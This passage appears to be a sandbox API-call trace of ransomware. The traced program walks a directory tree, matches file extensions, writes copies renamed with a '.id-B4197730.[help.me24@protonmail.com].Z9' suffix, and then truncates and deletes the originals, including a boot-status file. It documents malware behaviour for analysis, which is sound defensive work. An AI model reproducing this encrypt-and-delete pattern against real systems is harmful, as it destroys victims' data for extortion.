	[0072.302] lstrlenW (lpString=".dbf") returned 4
	[0072.302] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.303] lstrlenW (lpString=".1cd") returned 4
	[0072.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.303] lstrlenW (lpString=".jpg") returned 4
	[0072.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.303] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.303] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0072.303] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.303] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=201796) returned 1
	[0072.303] CloseHandle (hObject=0x2f4) returned 1
	[0072.303] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0072.303] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.304] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.304] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.304] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.304] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0072.304] GetLastError () returned 0x0
	[0072.304] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x31444, lpOverlapped=0x0) returned 1
	[0072.800] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x31450, lpOverlapped=0x0) returned 1
	[0072.804] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.804] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.804] SetEndOfFile (hFile=0x360) returned 1
	[0072.805] CloseHandle (hObject=0x360) returned 1
	[0072.809] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.809] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.811] CloseHandle (hObject=0x2f4) returned 1
	[0072.811] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.811] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1
	[0072.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.812] lstrlenW (lpString=".doc") returned 4
	[0072.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.812] lstrlenW (lpString=".docx") returned 5
	[0072.812] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.812] lstrlenW (lpString=".pdf") returned 4
	[0072.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.812] lstrlenW (lpString=".xls") returned 4
	[0072.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.812] lstrlenW (lpString=".xlsx") returned 5
	[0072.812] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.812] lstrlenW (lpString=".ppt") returned 4
	[0072.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.812] lstrlenW (lpString=".zip") returned 4
	[0072.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.812] lstrlenW (lpString=".rar") returned 4
	[0072.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.812] lstrlenW (lpString=".bz2") returned 4
	[0072.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.812] lstrlenW (lpString=".7z") returned 3
	[0072.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.813] lstrlenW (lpString=".dbf") returned 4
	[0072.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.813] lstrlenW (lpString=".1cd") returned 4
	[0072.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.813] lstrlenW (lpString=".jpg") returned 4
	[0072.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.813] lstrlenW (lpString=".doc") returned 4
	[0072.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString=".docx") returned 5
	[0072.813] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.813] lstrlenW (lpString=".pdf") returned 4
	[0072.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString=".xls") returned 4
	[0072.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString=".xlsx") returned 5
	[0072.813] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.813] lstrlenW (lpString=".ppt") returned 4
	[0072.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.813] lstrlenW (lpString=".zip") returned 4
	[0072.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.813] lstrlenW (lpString=".rar") returned 4
	[0072.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString=".bz2") returned 4
	[0072.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.813] lstrlenW (lpString=".7z") returned 3
	[0072.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.814] lstrlenW (lpString=".dbf") returned 4
	[0072.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.814] lstrlenW (lpString=".1cd") returned 4
	[0072.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0072.814] lstrlenW (lpString=".jpg") returned 4
	[0072.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.814] lstrcmpiW (lpString1=".bmp", lpString2=".Z9") returned -1
	[0072.814] lstrlenW (lpString="watermark.bmp") returned 13
	[0072.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.814] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=104072) returned 1
	[0072.814] CloseHandle (hObject=0x2f4) returned 1
	[0072.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0072.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.815] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.815] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0072.815] GetLastError () returned 0x0
	[0072.815] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x19688, lpOverlapped=0x0) returned 1
	[0072.819] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x19690, lpOverlapped=0x0) returned 1
	[0072.821] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.821] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1
	[0072.821] SetEndOfFile (hFile=0x360) returned 1
	[0072.821] CloseHandle (hObject=0x360) returned 1
	[0072.824] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.824] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.825] CloseHandle (hObject=0x2f4) returned 1
	[0072.825] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.826] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1
	[0072.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.826] lstrlenW (lpString=".doc") returned 4
	[0072.826] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString=".docx") returned 5
	[0072.826] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0072.826] lstrlenW (lpString=".pdf") returned 4
	[0072.826] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString=".xls") returned 4
	[0072.826] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString=".xlsx") returned 5
	[0072.826] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0072.826] lstrlenW (lpString=".ppt") returned 4
	[0072.826] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.826] lstrlenW (lpString=".zip") returned 4
	[0072.826] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString=".rar") returned 4
	[0072.826] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString=".bz2") returned 4
	[0072.826] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString=".7z") returned 3
	[0072.826] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0072.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.826] lstrlenW (lpString=".dbf") returned 4
	[0072.826] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0072.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.826] lstrlenW (lpString=".1cd") returned 4
	[0072.827] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString=".jpg") returned 4
	[0072.827] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString=".doc") returned 4
	[0072.827] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString=".docx") returned 5
	[0072.827] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0072.827] lstrlenW (lpString=".pdf") returned 4
	[0072.827] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString=".xls") returned 4
	[0072.827] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString=".xlsx") returned 5
	[0072.827] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0072.827] lstrlenW (lpString=".ppt") returned 4
	[0072.827] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString=".zip") returned 4
	[0072.827] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString=".rar") returned 4
	[0072.827] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString=".bz2") returned 4
	[0072.827] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString=".7z") returned 3
	[0072.827] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString=".dbf") returned 4
	[0072.827] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString=".1cd") returned 4
	[0072.827] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0072.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0072.827] lstrlenW (lpString=".jpg") returned 4
	[0072.827] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0072.828] lstrcmpiW (lpString1=".LOG", lpString2=".Z9") returned -1
	[0072.828] lstrlenW (lpString="BCD.LOG") returned 7
	[0072.828] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0072.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.828] lstrlenW (lpString=".doc") returned 4
	[0072.828] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0072.828] lstrlenW (lpString=".docx") returned 5
	[0072.828] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0072.828] lstrlenW (lpString=".pdf") returned 4
	[0072.828] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0072.828] lstrlenW (lpString=".xls") returned 4
	[0072.828] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0072.828] lstrlenW (lpString=".xlsx") returned 5
	[0072.828] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0072.828] lstrlenW (lpString=".ppt") returned 4
	[0072.828] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0072.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.828] lstrlenW (lpString=".zip") returned 4
	[0072.828] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0072.828] lstrlenW (lpString=".rar") returned 4
	[0072.829] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0072.829] lstrlenW (lpString=".bz2") returned 4
	[0072.829] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0072.829] lstrlenW (lpString=".7z") returned 3
	[0072.829] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0072.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.829] lstrlenW (lpString=".dbf") returned 4
	[0072.829] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0072.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.829] lstrlenW (lpString=".1cd") returned 4
	[0072.829] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0072.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.829] lstrlenW (lpString=".jpg") returned 4
	[0072.829] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0072.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.829] lstrlenW (lpString=".doc") returned 4
	[0072.829] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0072.829] lstrlenW (lpString=".docx") returned 5
	[0072.829] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0072.829] lstrlenW (lpString=".pdf") returned 4
	[0072.829] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0072.829] lstrlenW (lpString=".xls") returned 4
	[0072.829] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0072.829] lstrlenW (lpString=".xlsx") returned 5
	[0072.829] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0072.829] lstrlenW (lpString=".ppt") returned 4
	[0072.829] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0072.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.829] lstrlenW (lpString=".zip") returned 4
	[0072.829] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0072.829] lstrlenW (lpString=".rar") returned 4
	[0072.829] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0072.830] lstrlenW (lpString=".bz2") returned 4
	[0072.830] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0072.830] lstrlenW (lpString=".7z") returned 3
	[0072.830] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0072.830] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.830] lstrlenW (lpString=".dbf") returned 4
	[0072.830] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0072.830] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.830] lstrlenW (lpString=".1cd") returned 4
	[0072.830] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0072.830] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0072.830] lstrlenW (lpString=".jpg") returned 4
	[0072.830] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0072.830] lstrcmpiW (lpString1=".DAT", lpString2=".Z9") returned -1
	[0072.830] lstrlenW (lpString="BOOTSTAT.DAT") returned 12
	[0072.830] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.851] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=65536) returned 1
	[0072.851] CloseHandle (hObject=0x2f4) returned 1
	[0072.851] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0072.851] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.851] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.851] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.851] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.851] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0072.853] GetLastError () returned 0x0
	[0072.853] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x10000, lpOverlapped=0x0) returned 1
	[0072.862] WriteFile (in: hFile=0x378, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10010, lpOverlapped=0x0) returned 1
	[0072.864] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.864] WriteFile (in: hFile=0x378, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.864] SetEndOfFile (hFile=0x378) returned 1
	[0072.864] CloseHandle (hObject=0x378) returned 1
	[0072.866] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.866] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.867] CloseHandle (hObject=0x2f4) returned 1
	[0072.867] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x26) returned 1
	[0072.868] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0072.868] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.868] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.868] lstrlenW (lpString=".doc") returned 4
	[0072.868] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0072.868] lstrlenW (lpString=".docx") returned 5
	[0072.868] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0072.868] lstrlenW (lpString=".pdf") returned 4
	[0072.868] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0072.868] lstrlenW (lpString=".xls") returned 4
	[0072.868] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0072.868] lstrlenW (lpString=".xlsx") returned 5
	[0072.868] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0072.868] lstrlenW (lpString=".ppt") returned 4
	[0072.868] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0072.868] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.868] lstrlenW (lpString=".zip") returned 4
	[0072.868] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0072.868] lstrlenW (lpString=".rar") returned 4
	[0072.868] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0072.868] lstrlenW (lpString=".bz2") returned 4
	[0072.868] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0072.869] lstrlenW (lpString=".7z") returned 3
	[0072.869] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString=".dbf") returned 4
	[0072.869] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
